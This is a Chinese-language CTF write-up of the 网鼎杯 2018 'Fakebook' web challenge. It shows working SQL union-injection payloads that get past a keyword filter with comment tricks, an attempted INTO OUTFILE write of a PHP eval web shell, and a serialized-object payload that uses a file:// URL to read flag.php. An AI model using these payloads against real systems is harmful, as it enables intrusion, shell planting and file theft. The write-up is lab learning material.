欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[网鼎杯 2018]

程序员文章站 2022-03-10 09:16:06
...

Fakebook

先正常注册了一个用户名、密码和年龄都是123的用户,发现在注册的时候blog必须要一个网址才行,很明显后台做了过滤。登陆。
[网鼎杯 2018]
点击123,发现url很经典。

[网鼎杯 2018]
测试了一下,发现是个很简单的sql联合查询注入。这个过滤很神奇可能只是为了走个流程,过滤了union select。对!你没有看错,就是过滤了这两个单词加空格连在一起的字符串。所以我们用union/**/select就可以绕过了。
注入payload为:

0 union/**/select 1,database(),3,4%20from%20users%23

然后,发现只有fakebook下面的users表有数据,还是刚刚我们注册的信息。
用户名是明文存储的,密码是md5后存储的,data信息里面则存储了一段反序列化信息。

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:23:"https://www.123456.com/";}

[网鼎杯 2018]

还发现了文件路径泄露,和一个重要函数unserialize()。
[网鼎杯 2018]
那么这道题的考点应该就是反序列化了。但是我比较懒,我就打算用其他方法试试。
这个方法就是mysql读写文件,写一句话到网站根目录下。
payload:

0 union/**/select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "/var/www/html/shell.php"

但是没有写文件的权限。
[网鼎杯 2018]

ok!
那就顺着反序列化的思路去找找看,扫描后台发现了flag.php和robots.txt。
[网鼎杯 2018]
得到了泄漏的源码,最基础的反序列化。
运行下面的脚本得到payload。

<?php
class UserInfo
{
    public $name = "1";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo serialize($a);
?>

源码其实也不太必要,通过刚才的序列化结果就可以构造payload了。

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

payload:

?no=0/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23

[网鼎杯 2018]

相关标签: CTF